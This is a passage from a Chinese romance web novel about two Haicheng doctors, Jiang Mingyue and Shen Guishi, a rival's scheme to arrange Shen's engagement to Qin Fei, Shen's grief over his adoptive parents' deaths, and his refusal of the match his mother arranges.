这天晚上,秦菲辗转难眠。 翌日一早,远在海城的小舅打电话来问秦父的身体状况,秦菲如实回答。 方修远说心梗容易复发,必须要按时吃药、定期复查,叮嘱秦菲仔细看护。 秦菲乖巧地应下。 方修远正要挂电话,秦菲忽然喊了声:“小舅。” “嗯?还有事?” 秦菲慢吞吞道:“我遇到了一个男生,挺想接触一下的……但他家门第比较高,可能不太想搭理我……小舅,你认识的人多,能不能帮我想想办法?” 方修远问:“门第比较高?是有多高?” 秦菲说:“他是沈氏珠宝的二公子。” 方修远沉吟片刻,又问:“小菲,你心里是什么想法?跟我说说。” 秦菲道:“我……就是想跟他认识一下。” 她想知道那样清冷疏淡的一个人,褪去一身的冷傲之后,会是什么样子的。 “那行,我帮你问问。”方修远没敢打包票,“你做好心理准备,不一定有戏。” “嗯,我知道。”- 春节假期倏然而过。 大家陆陆续续地回到了工作岗位,开始了按部就班的生活。 这天下班后,江明月陪崔晚晚去逛街。崔晚晚在商场一楼挑了两个包,心满意足,挽着江明月乘扶梯上楼,打算去找家餐厅吃晚饭。 途经一家家居服专卖店,江明月看中一双桑蚕丝拖鞋,小羊皮底,舒适透气。 店员问她要不要试一下。江明月说不用,给她拿一双新的包起来就行。 店员看她这么爽快,一边打单子一边卖力推荐:“您再看看我们家的睡衣啊,这周新上了几个款式,都卖得很好的。” 店员指向一旁的假人模特。 江明月望了过去。模特身上是一件抹胸睡裙,长度大约到膝盖,腰部全是精致繁复的镂空蕾丝设计,再往上,胸前有三粒纽扣,可以解开。 江明月想了一下使用场景,面不改色道:“拿一件。” 崔晚晚坐在店里的布艺沙发上,歪着头问店员:“你们家卖的是正经睡衣吗?我怎么觉得跟情趣内衣差不多啊?” 店员端起腔调说:“我们是国际大品牌好伐?所有设计都出自国际知名设计师之手,这叫时尚,人家都穿着这个上T台走秀的。” 江明月拿手机出来结账,刚好林逸打电话过来,问她今天有没有时间。 ——前几日,林逸致电说家里弟弟打了疫苗以后一直在发烧,问她该怎么办。 虽然江明月以前也在儿科轮转过,但她毕竟不是这个专业方向的。她也不知道林逸为什么来问她,可能这就是病急乱投医吧。 小朋友生病,当家属的肯定着急,她能理解。她便给了林逸一个手机号,是和她关系还不错的一名儿科同事的号码。她让林逸先打过去咨询一下,不行的话就尽快去医院。 后来林逸又联系她,说幼弟已经痊愈,为了感谢她帮忙,家中备宴,请她和那位儿科同事一起来做客。 江明月说她只是给了个号码,不用谢她,要谢就谢那位儿科同事。 但林逸还是执意邀请她。 江明月之前承诺过沈归时,不会再跟林逸见面。话说出去了就要做到,她便找理由推脱,今天说有工作要忙,明天说家里有事,反正脱不开身,无缘受邀。 此刻,江明月握着手机,睁眼说瞎话:“不好意思,我在开会。” 林逸安静数秒,问:“你在开会?” 江明月说:“嗯,先挂了啊,现在不方便说话。”- 林氏总部的顶楼。 成雷望着老板的脸色,默默拿了个咖啡杯出去冲咖啡了。 路过林逸办公桌的时候,瞧见那份与海城流浪动物保护协会签订的协议,仍旧放在一叠文件的最上方。 成雷非常清楚,这份协议从年前就开始筹备了。从捐助的方式和数额,到捐助资金的具体用途,都是老板亲自去谈的。成雷敢说,老板在谈很多涉外大项目的时候,都没有这么亲力亲为。所有资金早已准备就绪,只是因为想以江小姐的名义进行捐赠,这份协议迟迟没有落定。 协议需要名义上的捐赠人,也就是江小姐签字。可老板现在连江小姐的面都见不到。 成雷知道,老板找了个由头,想和江小姐见一面,然后顺理成章地把这份协议当成礼物送给她。但老板几次三番邀请江小姐,后者一直在找各种理由推脱。 甚至江小姐找理由都不能找个像样点的理由。她不知道老板对她每天的行程一清二楚。她说有工作要忙,结果早早回了家。她说家里有事,其实在跟同事聚餐。 太假了。她都不愿意费心编一个合情合理的借口。 成雷不知道老板心中作何感想。 但他能确定,老板的心情一定很差- 咖啡机萃取出一小杯咖啡液。咖啡香气四溢。 成雷立在咖啡机旁,纠结着是现在把咖啡送进去,还是再等会儿。 “成特助。”身后传来喊声。 成雷回头,摆出职业微笑,和来人打招呼:“方先生,您好。您来找林总是吗?” “对啊。”方修远指了下林逸办公室紧闭的大门,“他在里面吧?” “在的。您找他什么事?” 方修远笑着说:“啊,一点私事。” 说着就要敲办公室的门。 成雷仿佛使用了某种瞬移技能,飞一般地扑过来拦住他:“方先生,您要不先坐一会儿,喝点东西?我们老板现在心情不佳,可能不太想跟您聊天。” 方修远不由问:“他怎么了?” 成雷面露难色。 方修远知道他不方便说,豪爽笑道:“没事儿,我跟林逸认识这么多年了,我去开导开导他。” 成雷眼睁睁地看着方修远“砰砰”敲了两下门,然后直接推门走了进去。 第48章 攀附 “我有家。” 办公室内。 林逸专心看电脑上的报表, 没抬头看来人一眼。直到方修远轻咳一声,他才终于施舍一个眼神,漫不经心地瞥过去:“找我有事?” 方修远仔细观察林逸——脸色平静, 神态如常, 看不出心情如何。 成雷的提醒犹在耳畔。方修远多嘴问了句:“听说你心情不好?” 林逸不耐:“你来找我是为了说这个?” 方修远感觉林逸下一秒就要下逐客令了。他连忙说:“不是,是我有个事儿, 想请你帮忙。” 林逸在等他的下文。 方修远便接着说:“我听说你不久前竞拍了一条粉钻项链,是沈氏珠宝的藏品?你跟沈家人熟不熟啊?” “怎么?”林逸问。 那天慈善拍卖会结束后, 沈氏集团的总助陈友确实向他递上了一张名片。 沈归晏的名片。 陈友的态度非常谦逊友好,称他们沈总不在香港, 但是听说了林先生您对慈善事业的大力支持,深受感动, 希望未来有机会可以一起合作。 不过林逸拍下那条项链的本意并非藉机合作,所以后来也没有联系过沈归晏。 方修远道:“是这样, 我有个外甥女,想和沈家的二公子认识一下, 你能不能帮忙牵个线?” 林逸冷笑出声:“你把我当什么人了?拉皮条的?” 方修远讪笑:“哎,你能不能说点好词儿?那叫媒人!他俩要是成了,我给你包个大红包!” 林逸轻呵:“不需要。” 方修远叹气:“林逸你也知道, 我是我姐带大的。她临走前,把唯一的女儿托付给了我。这孩子可怜, 母亲走得早,父亲有陈旧性心肌梗死。我这个当舅舅的,只能尽力照拂。” 林逸听得皱眉:“所以你想让她攀附沈家?” 方修远说:“我外甥女说了,她只是想认识一下,怎么到你嘴里就成攀附了?这孩子难得跟我提个要求,我真心想帮她。林逸, 你就看在我们这么多年的交情的份上,出个面,说和一下?能成就成,不能成就算了。” 林逸说:“那是你外甥女,不是我外甥女。” 言下之意是——关他什么事? 方修远说:“助人姻缘,功德一件啊林逸!说不定你帮了别人以后,自己的感情生活也能顺遂一些呢?” 方修远也不知道这句话哪里踩到了林逸的雷点,林逸指了下办公室的门,声线沉冷:“出去。” 确实心情不佳。方修远这会儿算是看出来了。 他自觉起身:“我正好还要去医院交班,先走了啊,你忙你的。” 方修远迅速走出办公室,发现贺冰也来了,正抖着二郎腿,坐在外面休息区的沙发上。 两人打了个照面。方修远问:“你也来找林逸?” 贺冰“嗯”了声。 方修远好心提醒道:“成特助有没跟你说,林逸现在心情不太好?” 贺冰沉痛点头:“我知道,都是因为我。” 成雷诧异地望向他。 老板心情很差都是因为江小姐啊,跟你有什么关系? 方修远问出了成雷的困惑:“和你有关?” 贺冰痛苦地埋下头:“对。” 方修远就奇了:“怎么回事?” “除夕那晚我喝多了酒,打电话骂了他一顿。” 方修远无语:“你有病?” 贺冰说:“唉……我当时对林逸有点误解。不过现在我已经知道我错怪他了。我今天过来就是为了找他道歉。” 方修远摆摆手:“那你快去吧。” 贺冰收起二郎腿,从沙发上起来。 成雷想劝阻:“贺少,除夕夜都过去这么多天了,林总现在心情不好,或许和您关系不大。” 贺冰根本不听劝:“是啊,除夕都过去这么多天了,他直到现在还心情不好,都怪我!” 这脑回路……成雷痛苦地闭了闭眼,诚心建议:“您想找他道歉,不妨发消息跟他说。” “道歉就要当面说!发消息多没诚意。”贺冰迳自推开林逸办公室的门,大步流星地走了进去。 这一个两个的!成雷心累极了。 林逸听见脚步声,以为是方修远去而复返了。 “还有事?” 贺冰快步冲到办公桌前,情真意切道:“林逸,真对不起。大过年的,让你白挨我一顿骂。” 林逸并不想理会贺冰。 那个深夜贺冰问他:“你付出这么多,江明月她会多看你一眼吗?” 确实。 她不仅不会多看他一眼,现在甚至不让他看她一眼。 林逸轻淡敛眉,给了贺冰和方修远一个待遇:“出去。” 不过贺冰没方修远那么知趣,他赖着没走,假装抹了抹并不存在的眼泪:“我今天是来向你道歉的,我知道我妹妹那件事肯定不是你干的。” 他说到这儿,气恨地拍了下桌子:“肯定是江明月她男朋友干的!” “她……男朋友?”林逸抬眸。 “对,你还不知道她男朋友是谁吧?她男朋友是沈氏珠宝的二公子!沈归晏你认识吧,那是他弟弟,俩人同一个爹!” 林逸缓缓问:“……谁?” “本来我也不知道这些的,好在我前段时间请了私家侦探去查江明月。”贺冰在这一刻对上了林逸冰凉的眼神,他挠挠头,“你别这么看我啊,我又没做什么伤害她的事……哎,我发现她有男朋友之后,本来想收手不查了,但我签了一个月的合同,中止合约又不退钱,不查白不查……” “说重点。” 贺冰咳了声,言归正传:“就在前几天,他们发现江明月男朋友坐了一架专机直飞北城!我就好奇啊,飞北城的专机一趟得五十万起步了吧?这哪是普通人的消费?所以我让他们顺便查查那男的。这不查不知道,一查查出了一个豪门阔少,叫什么——沈归时。往他上面数三辈,香港还盛行一夫多妻,按那时候的说法,他还是正儿八经的长房嫡孙。” 沈归时。 林逸听江明月最开始喊他师弟、小沈,后来称呼他为男朋友。 原来他叫沈归时。 他可真能装啊。 还做兼职,还倒两个小时的地铁去做兼职。 为了骗明月的同情心,这人连装穷的招数都想得出来。 不要脸。 “查到他的真实身份之后,我就知道我妹妹那件事和你没关系,肯定都是他干的!”虽然贺冰根本没有证据,但直觉已经告诉了他真相,他再次诚恳致歉,“实在抱歉啊林逸,那天晚上我喝多了,说了很多伤人的话,你别往心里去。” 贺冰一边说一边打量林逸,见林逸的脸色并未好转,他心一横,壮烈道:“你可以骂回来,或者让人打我一顿,反正你怎么解气怎么来。” 林逸终于开口:“首先,吸毒违法,贺霜现在面临的一切,都是她咎由自取。” 贺冰没想到林逸会是这个回应,一时怔愣。 接着他又听见平平淡淡、却暗含告诫的一句:“你别找明月的麻烦。” 敢情是为了说这个。 贺冰苦笑:“我哪儿敢啊。你看看你这个事事为她着想的样子!不知道的还以为你是她的正牌男友呢……” 林逸脸色顿时更差了。 贺冰好言相劝:“你也别惦记人家了,她跟她男朋友感情那么好,不可能分手吧……” 林逸静默良久,久到贺冰以为他不会接话了,他才轻轻吐出一句:“事在人为。” 他赌江明月对沈归时的真实身份毫不知情。 林逸敲了几下键盘。贺冰发现他登上了证券官网,下载了沈氏集团下几个主要上市公司的年报,逐篇看了过去。 这就是金融人吗?了解对手的方式竟然不是上网查八卦新闻,而是把对方的财报拉出来审阅。 贺冰觉得无趣,告辞走人- 二十分钟后,林逸拨通了方修远的电话:“你那个外甥女叫什么名字?” “秦菲。” “把她的资料发给我。” “啊?你要什么资料?” “成长经历,家庭关系,社交圈,越多越好。” “行,我让她自己整理一下。”方修远笑着问,“我刚刚跟你说的事,你是不是同意帮忙了?” 林逸承认:“是。” 他不仅要帮,还要帮到底。 翌日一早,林逸就收到了方修远发来的文档。 显然是秦菲得到消息以后,连夜整理的。内容涵盖了求学的履历、家中的产业,还有一些亲友的信息。 林逸就大致扫了一眼。 秦菲,大四学生,现就读于北城音乐学院钢琴演奏专业。 一个父病母亡的落魄千金。 这样的身份摆到底蕴深厚的沈家面前,确实不够看。 林逸沉思片刻,拿起办公桌上的固定电话拨出内线:“成雷,下午的工作帮我延后,我飞一趟香港。”- 沈老爷子住院静养七日后,顺利出院。 沈归时不打算在北城多作停留,准备收拾收拾回海城。 梁书琴不同意,私下跟他说:“老爷子现在对你很满意,你别急着走,再多待几天,多去他床前伺候,他肯定不会亏待你。” 沈归时说:“爷爷现在有自理能力,家里也有专业的心内科医生,我没有留下来的必要。更何况科里本来就人手不够,我也只请了一个礼拜的假,再不回去,科里就要转不过来了。” 梁书琴恼怒:“你一个学生,还真把医院里那些活儿当成自己的工作了?那等你毕业了,是不是还要把医院当成自己家?” 沈归时认真道:“不会,我有家。” 沈归时指的是他和江明月的家,梁书琴却以为他说的是沈家这个家。 梁书琴的脸色稍微好看了一些,命令道:“要走明天再走,今天晚上是你爷爷出院后的第一顿饭,大家都会来,你说什么也不能缺席!” 沈归时无奈之下,把飞海城的机票改签为明天最早的航班- 沈归时原计划下午五点飞海城,大约七点多就能到。他跟江明月提过自己的行程安排,江明月说到时候去机场接他。 航班更改之后,沈归时及时打电话跟江明月报备,让她别去机场,免得跑空。 江明月刚下班,正打算去海城名邸取车。闻言便不去地下车库了,而是乘电梯上楼。 两人闲聊一阵,江明月来到自家门前,发现门口放了一个大箱子,箱子上贴着一张快递单,收件人是沈归时。 江明月说:“你快递到了。” “嗯。” “买了什么?” 沈归时似乎在笑:“花瓶。”- 就在沈归时去北城的前夜,江明月从亲戚家的酒席上回来,到海城名邸时已经十点多了。 她非要在沙发上试一次,结果腿扑腾得太厉害,不小心把茶几上的玻璃花瓶踢翻了。 花瓶“啪嚓”一声摔落,碎成了大大小小的玻璃片,插瓶的鲜花也落了一地。 沈归时怕那些玻璃碎片扎到江明月,便抱着她去卧室。当时两人还连在一起,江明月身体悬空,几乎只有那么一个支撑点,她低低地惊呼,整个人都如坠云端。 沈归时空出一只手去托她的臀,给她借力的同时,也极尽所能地为她助兴。就客厅到卧室这么一段路程,走了又停,停了又走,花了将近半个钟头,江明月攀在他肩上回望茶几底下那滩水,根本分不清其中有多少来源于那个摔碎的花瓶。 结束后,江明月责令沈归时把客厅收拾干净,再抽空买个新花瓶回来- 江明月给手机开了免提,搬着快递箱子进门。 “多大的花瓶?还挺沉的。” “和原来那个差不多大。”沈归时平静道,“商家说玻璃是加厚的,防摔。” 江明月:“……” 第49章 倾诉 沈归时体会到了遗憾的极致 翌日上午, 将近十点,沈归时落地海城。 江明月要上班,就没去机场接他。沈归时打了个车, 将行李放回了海城名邸, 随后便自觉去医院干活儿。 两人的工作一如既往地繁忙。 以前也有特别忙的时候,两人时间凑不上, 可能连续几天都说不上几句话。 现在不同了。 他们每天的相处时间已经延长为——一整夜。 江明月对现状非常满意- 三月底,人事处老师给沈归时打电话, 通知他已经留院了。 晚上临睡前,沈归时抱着江明月说了这件事。 由于一些睡前活动, 时间已经很晚了。江明月困得不行,蜷在他怀里, 闭着眼睛说了句恭喜:“这周末,我们去外面找家餐厅吃一顿。好好替你庆祝一下。” 沈归时说:“不用……这周末我要去祭拜父母。” 这周末刚好是清明节假期。 江明月困意顿消, 喃喃道:“对不起……我不知道……” “没事。” 印象中,这是沈归时第一次主动谈及家庭。 江明月轻声问:“他们……是什么时候……离开你的?” “我上高中的时候。”沈归时顿了一下, “高三。” “是生病还是——” “是因为车祸。”沈归时听上去也不是很想回忆这一段往事,他的声音沉闷得很,像包裹了一张纸, “车祸发生的时候,我还在上课。警察来了学校, 点名说要找我。” 他说得很慢,每说一句,都要停顿一会儿。 江明月拍了拍他的背,温柔道:“不说了,睡吧。” 房间里重归沉寂。江明月察觉到环抱自己的那个臂弯微微收紧了。 她完全嵌入了他的怀抱,离他的心脏那样近, 仿佛能感知到他所有的情绪。 “如果说出来会让你更好受一点,那我愿意当你的倾诉对象。” 耳边的心跳声过去了几十下,江明月又听见了沈归时的声音,低沉的、艰涩的,像浸了水的柠檬籽,弥漫着淡淡的苦味: “当时警察也没跟我多说,就告诉我,我爸出了车祸,人在医院。他们开警车送我去了医院……我到了医院才知道,爸爸送来的时候已经没有呼吸了。” 江明月安静地听着。 “那个时候,我妈妈还是有意识的。她说当时她正走在路上,一辆渣土车突然迎面撞了过来,速度很快,她躲都来不及躲。是我爸冲了上去,把她推到了旁边,结果他自己……他自己没能躲开。” “我发现我妈妈后脑勺有个大包,我问她怎么回事,她说我爸把她推进了绿化带,她没站稳,磕到了头。我想让她去做检查,她不肯,她说只是有点疼而已,没事的,做检查浪费钱。” “她说完,就吐了。” “我学医之后才知道,这是颅压升高的表现。但我当时什么都不懂,我只是有一种非常不好的预感。” “我拖她去做了个CT。医生看了检查结果,说这个情况很棘手,可能需要做开颅手术,但那家医院规模不大,没有开颅条件,想做手术的话要尽快转院。医生还说了一大堆专业名词,我只听懂了一个枕骨骨折。” 江明月听到这里,忽然想起之前小核在宠物医院奄奄一息,她打电话问沈归时“颅骨骨折,还有救吗”。 那时沈归时静默良久,问她——“是哪种颅骨骨折”。 她不忍细想他是怀着什么样的心情,问出这句话的。 “我妈妈问手术要多少钱,医生说要住ICU,一天一万,具体住几天,还要看手术效果。但零零总总加起来,最少也要两三万吧。” 两三万,在灯红酒绿的海城,可能只是那些都市精英步履匆匆的足下,一双皮鞋的价格。 但有的时候,这就是一条命。 “考虑到费用,我妈妈非常不愿意转院做手术,她让医生开点止疼片给她就行了。医生说那就先保守治疗试试,给她开了甘露醇。甘露醇你知道吧,神外的常用药,可以降颅压,只要六块多钱一瓶。她接受了。” “她挂了两天甘露醇,她说感觉好多了。她还说……家里这些年只攒了两万多块钱,是留给我读大学用的。”沈归时微微哽咽,“我那时候还不知道静脉滴注甘露醇的时候,血管会很疼,她不爱叫苦,有什么不舒服都是默默忍着。” “第三天早上,她忽然昏迷了,医院帮我们联系了救护车,转到了上级医院。上级医院说是双额脑挫伤,来晚了,已经没救了。” “她再也没有醒过来。当天下午,她就走了。她跟我说的最后一句话,就是那句家里攒了两万多块钱,留给我读大学用。” 江明月伸手,想揉一揉沈归时的脸,却摸到了一手的湿意。 黑暗中,她怔了两秒,意识到这是沈归时的眼泪。 “谢谢你愿意告诉我。” 江明月从沈归时的怀抱里出来。 她没有开灯,她不想让沈归时这样脆弱的一面暴露在灯光之下。她摸黑找到了床头柜上的纸巾,轻轻擦拭他的脸颊。 沈归时声线轻颤:“她真的对我很好,还有爸爸,他们都对我很好……” 好到他根本没有怀疑过自己不是他们亲生的。 直到一个礼拜后,沈家人找了过来,说他是沈家流落在外的二少爷。 就差一个礼拜。 他就可以让他们摆脱困顿的生活。 就差短短七天。 那个善良又坚韧的女人就不必因为ICU的费用放弃手术。 彼时的沈归时体会到了遗憾的极致——那是无法挽回的阴差阳错,是棋差一着的求而不得,是不论回忆多少次都无法愈合的伤痕,是漫长的岁月里永远不能释怀的错过- 这个时候,仿佛所有言语的安慰都略显苍白。 江明月躺下,抱住了沈归时。 沈归时说:“后来我才知道,最开始那个医院的处理有很多问题。可能是因为经验不足,他们对颅脑外伤的紧迫性判断有误,也没有及时复查CT,评估病情的进展。说严重点,就是误诊了。” 江明月问:“你是因为这件事才学医的吗?” “有这方面的原因。也因为这件事,我选了神外方向的卢教授当导师。我希望以后我在临床一线,不要误诊任何一个病人。”沈归时停了几秒,又说,“其实我最开始想学医,是因为你。” “因为我?” “十一年前,8月26日,你回一中给新生演讲,你还记得吗?” “是有这么回事,具体哪一天我记不太清了。” “我记得。我一直记得。那是我有限的人生里,第一次看见那么耀眼的女孩子。” 江明月想笑一笑,但又觉得此刻气氛不合适,便只是无声地弯弯唇角:“这么夸张?” 沈归时说:“你不知道你有多受欢迎,你上台之后,整个大礼堂都沸腾了。你说你是通过数学竞赛保送到海大医学院的,当天晚上,学校图书馆里所有关于数竞的参考书都被借走了。” 江明月轻轻问:“你也去借了?” “没有……我没抢过他们。但你演讲时说了,医学和数学一样有趣,所以我借了两本医学专业的书。好在那两本都属于医学科普类的,并不晦涩,给了我一点点医学的启蒙。从那天开始,我就下定决心要报考海大医学院。” 江明月有了一种错觉。 在她不知道的情况下,她仿佛参与了另一个人的人生。 “好遗憾,没能早点认识你。”江明月惋惜,却也庆幸,“还好命运安排我们再次相遇了。” 这个夜晚似乎格外适合吐露心声。沈归时道:“不是命运的安排,是我一直在努力地追寻你。你那么优秀,我也很害怕追赶不上你……我之所以读八年制,就是因为这个学制短,八年就能博士毕业,我希望我能够以最快的速度,在最好的年纪,名正言顺地站到你面前。” 他做到了。 那天他终于轮转到她所在的生殖科,郑观海领着他和宋远来到她面前。那张遥遥望过无数次的面庞终于近在咫尺,他心中翻来倒去默念过无数次的称呼也终于倾吐出来——“师姐。” 江明月怔住:“我何德何能……” “你值得。” 沈归时对她是毫不保留的认可。 “你是天上的明月,永远会发光。” 有谁不爱温柔的月光。 那束月光会照亮前路,沿路而行的人,终于也变得光芒万丈了- 由于暴雨天气,香港飞海城的航班不是取消就是延误,原定于下午六点到达的飞机,一直等到第二天上午八点才落地。 这个时间点,方修远也才刚下夜班,他知道事情成了一半,主动赶到机场,为林逸接风洗尘。 林逸办事的效率和手段,方修远是真的佩服。 他本意只是想让秦菲和那个沈二公子认识一下,结果林逸找了香港一位声名赫赫的老教授,让人家认秦菲为孙女,直接把秦菲改头换面,包装成一个书香门第的大家闺秀。再由那位老教授出面,向沈家提联姻的事。 没错,联姻。也不先认识一下,直接拟定婚约。效率极高,一步到位。 听说那位老教授恰好是沈二公子的母亲——梁太太的授业恩师。 这样的人脉,方修远也不知道林逸是怎么找到的。但他明白,其中的代价无法估量。 没想到林逸为了帮他一个忙,竟然愿意做到这份上。 他感动之余,也想回报一下林逸。他私底下问成雷,林逸最近有没有什么想要的,他想给林逸买个礼物,聊表酬谢。 成雷一脸复杂地看着他,说方先生,您这事儿要是办成了,就是我们老板最想要的。 方修远深受触动。 好兄弟,真朋友- 此刻,那位“好兄弟”正往出口这边走来。 方修远笑容满面地迎上去,动作麻利地把行李车抢过来推:“来!跟我走!车在停车场等!” 方修远事先订了一个私人会所的包厢。接到林逸之后,便直接朝会所方向驶去。 路上,方修远顺便打听了一下情况:“沈家点头了吗?” 林逸在飞机上睡了两个多小时,现在倒不是很累。他漫不经心道:“没这么快。” 方修远问:“听你这口气,沈家不会拒绝?” 林逸说:“是有拒绝的可能,但郭老一定会极力促成的。” 郭老就是那位老教授。 方修远非常好奇:“你怎么说动他的?” “郭老最小的女儿是学金融的,目前在海城一家投行工作,很不幸,前段时间做IPO尽调走访时出了点纰漏,尽调报告不到位,即将被追责,全行业通报。”林逸一语带过,“所以,现在不是我要说动郭老,是郭老要请我出面调停。” 这也太巧了!方修远很想问问那个“纰漏”到底是怎么回事,但他又觉得自己不该知道那么多。 于是他目不斜视地看着前方的街道,自言自语:“行啊,小菲运气不错,我姐要是知道了,肯定也为她高兴。”- 不出林逸所料。 梁书琴并没有直接答应郭教授,但也没拒绝,只说沈归时还在海城读书,要等他回来以后问问他的意思。 豪门的婚姻有时候也是一项筹码。梁书琴对沈归时和沈元姝未来的婚姻,抱有很强烈的“待价而沽”的心态。 她是这么跟郭教授说的:“现在小孩子都主张婚恋自由,我还得问问归时的想法。” 这不是推脱,而是实话。 虽然做决定的是她,但沈归时作为当事人,他的意见也可以适当参考一下。 梁书琴特意挑了个周末休息的时间段打电话给沈归时。 “妈,什么事?”沈归时语声匆忙,“我马上要进手术室,最多和您说五分钟。” “五分钟?”梁书琴想说的话全被这一句给堵了回去,“今天是周末,你怎么还在上班?” 沈归时周末值班已经习以为常了,他理所当然道:“病人又不会只挑工作日生病。” 梁书琴不满:“你毕业以后可别当医生了,随便做点什么,都比这个轻松。” “还没告诉您,我已经确认留院了。” “你说什么?” “您很意外?您要知道这是对我个人能力的一种肯定,多少人想留都留不下来。” “你的意思是你要留在海城工作?我不同意!”梁书琴非常不赞同,“还留院?你趁早给我放弃!又忙又累,我真不知道你在图什么。” “还有事吗?”沈归时没有正面回答,但语气明显淡了下来。 梁书琴这才想起自己打这通电话的主要目的:“我给你选了一个订婚对象,比你小四岁……” 还没等细说,就被沈归时打断:“妈,我有女朋友。” 梁书琴道:“订婚又不妨碍你在外面谈女朋友,你别带到家里来就行了。” 沈归时第一次听到这么新奇的观点。 他立刻阐明态度:“她不仅仅是我的女朋友,更是我打算共度余生的人。我这辈子只会跟她结婚——如果她愿意的话。您刚刚说的订婚对象,我不接受。” 梁书琴没想到他反应这么激烈,放软态度劝道:“那个女孩子是郭老收养的孙女,郭老你也见过的,他亲自来跟我提订婚,你让我怎么拒绝?” 梁书琴称得上是苦口婆心:“郭老知根知底,他介绍的人,肯定比你在外面认识的女孩子靠谱。你那个女朋友对你有多少真心?说到底不还是图你的钱?” 沈归时认真道:“她不是您想的那种人,请您不要侮辱她。还有郭老那边,如果您拒绝不了,请您把他的联系方式给我,我来拒绝。” 梁书琴冷斥:“你真的是在外面待久了,心都野了。” 沈归时蹙着眉说:“五分钟到了,我要去洗手,先挂了。” 第50章 奖励 禁止包办婚姻 梁书琴放下手机, 端起惯用的珐琅彩茶杯,灌下半杯红茶。 一旁的中年女人给她续上茶,温声劝慰:“太太您别生气, 二少爷还年轻, 体会不到您的苦心,不知道您都是为了他好。” 梁书琴像有一口气堵在了胸口, 降不下去也吐不出来。初夏未至的天气,清凉惬意。她坐在露台沙发上吹风, 沉冷地凝望着不远处的人工湖里恣意游曳的黑天鹅。 “那个女人不知道给他灌了什么迷魂汤,还这辈子只跟她结婚……一辈子那么长, 这才哪儿到哪儿啊,我看他不仅心野了, 脑子也不清醒了。”梁书琴问身边的中年女人,“刘姨, 你说是不是?” 刘姨神色一紧,没说是与不是, 只道:“您放宽心,二少爷眼光不差,万一他挑的人各方面都合适呢。” 梁书琴道:“你说得对, 我先查查他到底找了个什么样的女朋友。”- 一个礼拜后,江明月的资料送到了梁书琴面前。 梁书琴气得直翻白眼:“好啊, 也是个忙得要死的医生!我就说他为什么一定要留在海城的医院工作,原来是为了这个女人!家里就是个卖船的暴发户,一点底蕴都没有!还比他大三岁!” 梁书琴都能想到沈归时要是把这女人娶回家了,二房和三房背地里会怎么笑话她。 原本她还嫌弃秦菲出身一般,只是郭老名义上的孙女。但现在一对比,她立马发现了秦菲的好。 就算只占个名头, 对外也能说是书香世家出来的,总比暴发户出身的江明月强吧? 几日后,郭老称有学生赠他两盆素冠荷鼎莲瓣兰,花型端丽,姿态秀美,邀请梁书琴赴港赏花。 梁书琴欣然应邀。她自然知道,此行不止是“赏花”,更是“赏人”。果不其然,她在郭老绿植葳蕤的庭院中见到了秦菲。 是个得体、懂事的小姑娘。 那双弹钢琴的手,恭恭敬敬地替梁书琴拉开了院子里的竹编藤椅,又提着汝窑工艺烧出来的茶壶,垂首替她添了一杯茶。 梁书琴还算满意- 虽然还没入夏,但天气已经有些热了。 晚餐后,江明月撑着脸看着正在收拾碗筷的人,成心逗他:“你想不想做一些饭后运动?” 沈归时朝她望过来:“想啊。” “那你待会儿去把储物间里的风扇搬出来。” “这就是你说的饭后运动?” 江明月忍住没笑:“不然呢?你以为是什么?” “……”沈归时反问,“那搬完了有没有奖励?” “……没有。” 沈归时质问:“你让人干活儿还不给报酬?有你这么压榨实习生的吗,江医生?” 江明月现在听到他称呼自己为“江医生”,就能联想到某些画面。她端着架子说:“你已经留院了,以后你就不是实习生了,以后你就是我们医院的牛马,被压榨是你的宿命。” 沈归时失笑。 他换了话题:“我盲审和外审都过了。下个月毕业典礼,你要不要来看?” 江明月问:“哪一天啊?是工作日吗?” “对,是个周一。” “我要上班啊……” 江明月实在想看沈归时红袍加身的样子,也想参与沈归时人生中每一个重要的瞬间,她纠结了一会儿,终于做出决定,“算了,我就请一天宝贵的年假,出席一下我们沈博的毕业典礼。” “谢谢,我的荣幸。”沈归时眼中盛满了温柔细碎的光,“我就当这是你给的奖励。” 他认真凝望过来的时候,江明月真的很难抗拒他这张脸。 她头脑一热,站了起来,抓着他的袖子把人扯低了一些,然后轻轻给了一记啄吻。 “新奖励,喜欢吗?” 沈归时抿唇回味了一下,说:“这奖励是不是太轻了?没有诚意。能不能给点耗时久、强度大的重奖?” 江明月踹他:“去你的。搬风扇去。” 有时她会在不经意间想起那个刚刚与她确认关系的沈归时。 那时他被她亲一下都会脸红。 就,还挺怀念的- 沈归时搬着无叶风扇进了主卧。 江明月正在洗澡。 沈归时翻手机,发现梁书琴发来了一个视频。 点开一看,画面中的年轻女孩儿背骨挺直,优雅端坐于一架三角钢琴前,指尖在琴键上跳跃,悦耳流畅的钢琴乐流泻出来。 视频很长,有一分多钟,沈归时没这个耐心看完。视频仅仅播放了几秒就被关闭了。 沈归时没明白梁书琴给他发这个视频的用意。 是看上这架三角钢琴了吗?音色确实很动听。 很快,聊天框又跳出来一条消息。 【梁书琴:你们的婚期我已经订下来了,刚好你们俩都在今年毕业。等一毕业,你们就结婚。】 沈归时脑中乱了一下,终于意识到视频的重点在于人,而不在于琴。他立刻拨通梁书琴的电话,勉强保持着镇定和礼貌:“妈,我记得我跟您说了,我有女朋友,我不可能跟别人结婚的。” 梁书琴笑着说:“你别急着拒绝啊,其实那个小姑娘你也见过的,她叫秦菲,之前你爷爷心梗住院,她还和我们说过话的。你说这是不是缘分?” 沈归时冷漠回应:“不是。” 梁书琴道:“你那个所谓的女朋友,我也打听过了,根本配不上你。不过我帮你看了,秦菲这孩子挺懂事的,就算你在外面有别的女人,只要不是太过分,她肯定不会管你。你安心回来,把婚结了。” “我跟谁结婚,是我自己的事,轮不到您做主。我国法律规定婚姻自由,禁止包办婚姻。” 沈归时第一次用这种要造反般的语气跟梁书琴说话,听得梁书琴冷笑一声:“你还跟我扯上法律了?我是你妈,你的婚事我不做主谁做主?” 有那么一瞬间,沈归时想起了一个半躺在病床上的身影。那人没有一张保养得宜的脸,眼角的皱纹很深,像陈旧布料的褶子,但看他的目光永远带着期许和关爱。 那人对他说:“小添,你之前拿了那么多奖学金,我和你爸爸都没舍得用,都帮你存起来了。总共两万多块钱,我们就想把钱攒着,给你以后上大学用。” 沈归时轻轻闭上眼:“行,你做主,那你去和那个秦……”他一时半会儿想不起来是什么名字了,“你去和你看中的那个人结婚,别来找我。” “反了你了!” 沈归时掐断通话- “这孩子!” 宽敞的卧室套间内灯火通明。梁书琴气恼交加,将手机摔到墙上。 刘姨默默把屏幕裂开的手机捡起来收好。 梁书琴烦闷地在地毯上走来走去。 